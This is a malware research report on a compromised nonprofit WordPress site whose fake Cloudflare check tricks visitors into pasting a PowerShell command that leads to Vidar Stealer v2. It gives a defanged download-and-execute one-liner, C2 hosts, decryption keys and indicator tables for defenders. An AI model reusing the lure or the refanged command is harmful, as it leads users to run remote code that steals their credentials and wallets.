Malware research

ThaiCham website compromise: from a fake Cloudflare check to Vidar Stealer v2.

A legitimate business website showed visitors a polished verification prompt. The copied command led through PowerShell, a Polygon-based resolver and a signed loader to Vidar Stealer v2.

A familiar page changed the stakes

The address bar still showed the site people intended to visit.

A visitor could arrive at ThaiCham with a normal purpose and little reason to suspect a malware-delivery chain. ThaiCham is a real nonprofit business organization founded in 1999. The interruption looked like a routine Cloudflare security check.

The page then asked for one more verification step. Its instructions were polished and specific: press Win+X, choose Terminal or press I, paste, and press Enter. The text waiting on the clipboard was not a verification code. It was a PowerShell command.

This direct-shell handoff is commonly described as TermFix, part of the broader ClickFix family of social-engineering techniques. It does not need a browser exploit. It asks a person to move attacker-supplied text out of the browser and into a command shell, where Windows treats it as an instruction.

The browser showed a security check. The clipboard carried the first stage of an infostealer chain.

iex(irm 'hxxps[:]//tioiaosod[.]icu/hex/traffic')

The compromised surface

WordPress supplied reach, but the initial access path remains unknown.

The site exposed a broad WordPress stack, including WordPress 7.1, Elementor and several extension plugins. Those versions define an attack surface, but they do not establish how access was obtained. The injected material could have arrived through stolen administrator access, a vulnerable component, a malicious plugin, a database modification or another server-side path.

Hidden user row

tr#user-8, tr#user_8 was targeted by CSS using display:none !important. This warrants inspection of WordPress user ID 8 but is not proof by itself.

Uploaded custom script

/wp-content/uploads/hm_custom_css_js/custom.js was identified as a path requiring review.

SEO-spam doorways

Indexed URLs matching /?d={NUMERIC_ID} served unrelated product content, indicating a separate cloaking or doorway pattern on the same host.

Two injected branches

The active TermFix interface and the Polygon resolver were separate components in the compromised page, not redirects from one another.

From the page to the payload

Two browser-side branches converged on a layered Windows delivery chain.

The active kit came from norediam[.]com. It detected the operating system, rendered the fake verification interface, wrote the command to the clipboard, recorded copy events and polled approximately every four seconds for backend-confirmed execution. It used campaign token bbb5e2dc73837d5eb83c2e23285a8cac3532083e.

A separate mirror loader listed triapfog[.]com, iocriotao[.]icu and mioiooo[.]icu. Its error path incremented the index twice, so a failure at the first mirror skipped the second and attempted the third. The empty 403 responses from those mirrors did not initiate the Polygon requests.

The independent inline loader decoded its JavaScript through XOR, Base64 and a second XOR step. It called Polygon contract 0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2 with selector 0xb68d1809. The ABI-decoded result was hxxps[:]//fingerprint-verification[.]info, which supplied the fingerprint and payload API.

PowerShell then decoded additional XOR and Base64 layers before producing a 4,678,080-byte packed PE. The file was signed under Frost Cascade Analytics with a self-issued certificate used as publisher camouflage. Static unpacking recovered an inner PE and a Vidar Stealer v2 configuration.

ThaiCham WordPress TermFix campaign flowing from a fake Cloudflare verification through PowerShell and a signed loader to Vidar Stealer v2
Figure 1. Campaign reconstruction from retained lure material and reverse engineering. The full IOC tables below are authoritative; public indicators are defanged. Open the image for the full-size view.

Recovered Vidar findings

Version 3.1 used public profiles, a resolved primary C2, an encrypted fallback and a broad collection set.

The enabled configuration contained build ID 69e48709a4a5416ecb9b45ff43404ee8, marker h61sh and three primary dead drops across Telegram, Epic Games and Steam. The primary Telegram resolver decoded to uza[.]123ful[.]net. A compiled fallback configuration used marker x4tte. Its value ENC:4986faebe9027990e83cf5b387f83e33b8 decrypted with a SHA-256-derived repeating XOR key to dez[.]sm188dnsx[.]top.

The recovered functions cover the material that makes an infostealer commercially useful: browser credentials and cookies, application data, cryptocurrency wallets, selected files, screenshots and host details.

Browser access

Saved credentials, session cookies, autofill entries, browsing data and payment-card details.

Cryptocurrency

Wallet files, wallet extensions and other material associated with cryptocurrency accounts.

Application access

Credentials and data from supported desktop applications and messaging clients.

Personal files

Selected local files together with screenshots of the desktop.

Host profiling

System, process and software details used to describe the infected computer.

Collection and transfer

Selected material packaged for rapid transfer to attacker-controlled infrastructure.

Credentials can support account takeover. Session cookies can preserve an already authenticated browser session. Wallet material can expose savings, and personal files can become material for fraud, extortion or resale. What began as a verification prompt was designed to turn a computer's stored trust into a portable package.

Technical recap

The delivery chain in seven steps.

  1. Compromised surface

    An injected fake Cloudflare workflow appeared on the legitimate ThaiCham WordPress site.

  2. Human handoff

    The TermFix flow copied PowerShell and instructed Win+X, Terminal or I, Ctrl+V and Enter.

  3. Kit and telemetry

    norediam[.]com rendered the interface, tracked copy events and polled execution state.

  4. Parallel resolver

    A separate inline loader queried a Polygon smart contract for current fingerprint infrastructure.

  5. PowerShell staging

    Integer-array XOR, Base64 and script-block execution unpacked several script stages.

  6. Native loader

    A packed, self-signed outer PE concealed the recovered inner payload.

  7. Vidar Stealer v2

    The recovered version 3.1 configuration used public-profile dead drops, resolved uza[.]123ful[.]net as its primary C2 and retained an encrypted fallback C2.

Technique mapping

MITRE ATT&CK coverage.

TechniqueIDCampaign behavior
Drive-by CompromiseT1189A compromised legitimate website presented the malicious verification workflow.
MasqueradingT1036The lure impersonated Cloudflare security verification.
User ExecutionT1204The visitor was instructed to run text supplied through the clipboard.
PowerShellT1059.001PowerShell downloaded, decoded and executed the staged payload.
Ingress Tool TransferT1105Several stages and the portable executable were retrieved from remote infrastructure.
Obfuscated/Compressed Files and InformationT1027JavaScript, PowerShell and PE content used XOR, Base64, packing and layered encoding.
Web ServiceT1102Telegram, Epic Games and Steam profiles were used as resolver and dead-drop services.
Credentials from Web BrowsersT1555.003Vidar targets credentials stored by web browsers.
Steal Web Session CookieT1539Vidar targets browser session cookies.
System Information DiscoveryT1082The malware profiles the host.
Process DiscoveryT1057The Vidar family inventories running processes.
File and Directory DiscoveryT1083File-system locations are searched for targeted data.
Screen CaptureT1113The recovered capability set includes desktop screenshots.
Data from Local SystemT1005Local files and application data are collected.

Detection and hunting

Match the campaign-specific joins, not the legitimate services around them.

Exact infrastructure

Prioritize the malicious domains and hashes in the appendix. Correlate browser activity with interactive PowerShell or Windows Terminal and network access to tioiaosod[.]icu.

PowerShell content

Review Script Block Logging event 4104, AMSI, console history, terminal launches, suspicious files under %TEMP%, and powershell.exe or pwsh.exe network activity.

Polygon pivot

Hunt browser-originated eth_call requests containing the exact contract and selector. Do not block public Polygon RPC providers globally.

WordPress review

Search code and database content for the lure domains, contract, selector, user-8, user_8 and the listed custom JavaScript path. Review users, plugins, themes, uploads, options and custom CSS records.

Defanged appendix

Complete public indicators of compromise.

The ThaiCham domain is the compromised delivery location, not attacker ownership. Victim and internal organization identifiers are excluded. Shared services appear only as precise hunt context.

Malicious network infrastructure

RoleIndicatorContext
Compromised hostthaichamvn[.]orgLegitimate ThaiCham site that displayed the injected lure and loaders. Context only, not attacker ownership.
TermFix domainnorediam[.]comDomain serving the active kit and telemetry.
TermFix kithxxps[:]//norediam[.]com/traffic/apiActive fake-verification interface, copy and execution telemetry, and status polling.
Tracking patternhxxps[:]//norediam[.]com/traffic/api?t={TOKEN}&track=1&event={EVENT}&domain={DOMAIN}&os={OS}Campaign, origin, event and operating-system tracking.
Traffic-gate domaintriapfog[.]comFirst dynamically attempted alternate JavaScript host.
Traffic-gate mirrorhxxps[:]//triapfog[.]com/Traffic/apiFirst dynamically attempted alternate JavaScript endpoint.
Traffic-gate domainiocriotao[.]icuConfigured mirror skipped by the loader's double-increment error path.
Traffic-gate mirrorhxxps[:]//iocriotao[.]icu/Traffic/apiConfigured mirror skipped by the loader's double-increment error path.
Traffic-gate domainmioiooo[.]icuFallback host attempted after triapfog failed.
Traffic-gate mirrorhxxps[:]//mioiooo[.]icu/Traffic/apiFallback attempted after triapfog failed.
PowerShell staging domaintioiaosod[.]icuHosted the PowerShell content copied by the TermFix kit.
PowerShell stagehxxps[:]//tioiaosod[.]icu/hex/trafficInitial content retrieved by the terminal-executed PowerShell command.
Fingerprint domainfingerprint-verification[.]infoHostname resolved through the Polygon contract.
Fingerprint APIhxxps[:]//fingerprint-verification[.]info/api.phpHost resolved through Polygon and used for fingerprint and payload authorization.
Resolved primary C2uza[.]123ful[.]netVidar C2 hostname decoded from the primary Telegram resolver.
Resolved primary C2hxxps[:]//uza[.]123ful[.]netNormalized URL decoded from the primary Telegram resolver.
Recovered fallback C2dez[.]sm188dnsx[.]topFallback Vidar C2 hostname decrypted from the embedded configuration.
Recovered fallback C2hxxps[:]//dez[.]sm188dnsx[.]topFallback Vidar C2 hostname recovered from the encrypted configuration.

Blockchain indicators

TypeIndicatorPurpose
Polygon contract0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2Stored the current fingerprint and payload infrastructure value.
Function selector0xb68d1809Contract method invoked through eth_call.
RPC methodeth_callRead the value without an on-chain transaction.
Contract resulthxxps[:]//fingerprint-verification[.]infoABI-decoded hostname returned by the contract.

Shared Polygon RPC infrastructure: hunt only

EndpointTreatment
hxxps[:]//polygon-public[.]nodies[.]appLegitimate shared RPC service. Match the exact contract and selector; do not block globally.
hxxps[:]//1rpc[.]io/maticLegitimate shared RPC service. Match the exact contract and selector; do not block globally.
hxxps[:]//polygon[.]gateway[.]tenderly[.]coLegitimate shared RPC service. Match the exact contract and selector; do not block globally.
hxxps[:]//polygon-mainnet[.]public[.]blastapi[.]ioLegitimate shared RPC service. Match the exact contract and selector; do not block globally.
hxxps[:]//polygon[.]drpc[.]orgLegitimate shared RPC service. Match the exact contract and selector; do not block globally.
hxxps[:]//rpc[.]ankr[.]com/polygonLegitimate shared RPC service. Match the exact contract and selector; do not block globally.
hxxps[:]//polygon-bor-rpc[.]publicnode[.]comLegitimate shared RPC service. Match the exact contract and selector; do not block globally.
hxxps[:]//rpc-mainnet[.]matic[.]quiknode[.]proLegitimate shared RPC service. Match the exact contract and selector; do not block globally.

Vidar dead drops and configuration

TypeIndicatorPurpose
Configuration version3.1Version stored in both recovered configurations.
Primary config key9ca499411f7617c76add723433028260Repeating XOR key for the enabled configuration.
Primary build ID69e48709a4a5416ecb9b45ff43404ee8Enabled Vidar build or campaign identifier.
Primary markerh61shSeparator searched for in primary dead-drop responses.
Telegram dead drophxxps[:]//telegram[.]me/s11ymeFirst enabled primary resolver.
Resolved Telegram C2uza[.]123ful[.]netPrimary C2 hostname decoded from the Telegram resolver.
Normalized primary C2 URLhxxps[:]//uza[.]123ful[.]netNormalized URL for the decoded primary C2.
Epic dead drophxxps[:]//dev[.]epicgames[.]com/community/api/user_profiles/profile[.]json?hash_id=roAjrSecond enabled primary resolver.
Primary Epic hashroAjrEpic profile identifier.
Steam dead drophxxps[:]//steamcommunity[.]com/profiles/76561198652917381Third enabled primary resolver.
SteamID6476561198652917381Specific Steam account identifier.
Steam3 ID[U:1:692651653]Normalized Steam account identifier.
Shared resolver handles11ymeHandle reused by the Telegram and Steam accounts.
Fallback build ID99b11b37a468c7431dc2b824bd8a47fbCompiled fallback build identifier.
Fallback Epic dead drophxxps[:]//dev[.]epicgames[.]com/community/api/user_profiles/profile[.]json?hash_id=YmbKZCompiled fallback resolver.
Fallback Epic hashYmbKZFallback profile identifier.
Epic numeric ID2028287Fallback Epic profile record ID.
Epic usernamem1duusFallback dead-drop account username.
Epic display nameMduusFallback dead-drop account display name.
Fallback markerx4tteSeparator preceding the encrypted fallback C2.
Fallback valuex4tte ENC:4986faebe9027990e83cf5b387f83e33b8Exact recovered Epic profile value.
Encrypted C24986faebe9027990e83cf5b387f83e33b8Hex ciphertext decoded to the fallback C2.
Key seedGlasikprostikEmbedded input to SHA-256 key derivation.
Derived XOR key2de380c59a6f48a8d0589bc0ffd64a5cc8faa01c87a69e5a9f1ec9777eb74cbeKey used to decrypt the fallback C2.

Campaign and session indicators

TypeIndicatorPurpose
Campaign tokenbbb5e2dc73837d5eb83c2e23285a8cac3532083eUsed in tracking requests and local storage.
Fingerprint key8402fb1338daab6a166e91aa8c92a20798acfa98fb75c5a2Passed to the resolved API.
Ray/session value7dadf2021b531adeCorrelated the lure, a PowerShell stage comment and the API request.
API actiondlRequested download authorization or content.
API response43165f5944584541465d48431307520843140c471b4cHex response returned by the fingerprint API.
Local-storage keycaptcha_copied_bbb5e2dc73837d5eb83c2e23285a8cac3532083eRecorded copied-command status.
Local-storage keycaptcha_executed_bbb5e2dc73837d5eb83c2e23285a8cac3532083eRecorded backend-confirmed execution status.

SHA-256 file and content hashes

ArtifactSHA-256Purpose
clickfix-stage2.bin01aa1e18fa983e75153102f357363c9fececb737fbe2dd28bf8c9f025d175df5Obfuscated PowerShell second stage.
clickfix-payload.bin6c379689e10f406356c7281e93410fdb0bc2d3311d3b83b9c2164537938fc6f24,678,080-byte signed and packed outer PE.
Recovered inner PEc94440611f0a6407500b2312a4500ed73f27dbdfaa7f4cd503b80d95c32aa1fdStatically unpacked Vidar payload.
Decoded blockchain loader1ece3894de89ecf4e70170d6402559dba346ea2ef286452d93766f8c0a8e928fDecoded inline Polygon loader.
43-byte clipboard command63d8f873f442256eee86e8ae9fa1a1eb29034fa3b68c9d3df7ae2165dd36e863Hash of the irm pipe-to-iex form.
44-byte clipboard command0161e86ffa8525639a8e011269382b5fe713f76c152af1d1b80d0aa192a4dc6aHash of the iex(irm ...) form.

Local artifacts

Defanged pathPurpose
%TEMP%\clickfix-stage[.]ps1Initial decoded PowerShell stage.
%TEMP%\clickfix-stage2[.]binSaved second-stage PowerShell content.
%TEMP%\clickfix-payload[.]binFinal downloaded portable executable.

Certificate indicators

FieldIndicatorPurpose
Subject and issuerCN=Frost Cascade Analytics, O=Frost Cascade Analytics, C=USSelf-issued signing identity used as publisher camouflage.
Serial00E3C60B18EFE9E8459F4673BD76CC8D5ESigner certificate serial number.
SHA-1 thumbprint3038031EA716FF360C875C7E52AEB30D08FAC1B2Signer certificate thumbprint.
Validity2026-08-18 12:36:16 to 2027-08-25 12:36:16Validity window embedded in the signer certificate.

Infrastructure context

IndicatorPurpose and treatment
43[.]229[.]134[.]69Passive or shared hosting association for ThaiCham. Enrichment only, not suitable for broad blocking.
WordPress user ID 8Account targeted by the suspicious CSS hiding rule. Investigate on the server.
/wp-content/uploads/hm_custom_css_js/custom.jsUploaded JavaScript path requiring review on the compromised site.
hxxps[:]//thaichamvn[.]org/?d={NUMERIC_ID}SEO-spam doorway pattern indexed on the compromised site.

Benign and shared-service exclusions

Indicator or classReason for exclusion
77[.]111[.]102[.]201Microsoft Delivery Optimization or cache traffic in the capture.
au[.]download[.]windowsupdate[.]comLegitimate Windows Update infrastructure.
www[.]youtube[.]comLegitimate embedded-video traffic.
jnn-pa[.]googleapis[.]comGoogle and YouTube supporting traffic.
Global Steam or Epic blockingMatch the listed profile IDs and paths instead of blocking legitimate platforms.
Global Polygon RPC blockingMatch the exact contract and selector instead of blocking shared blockchain services.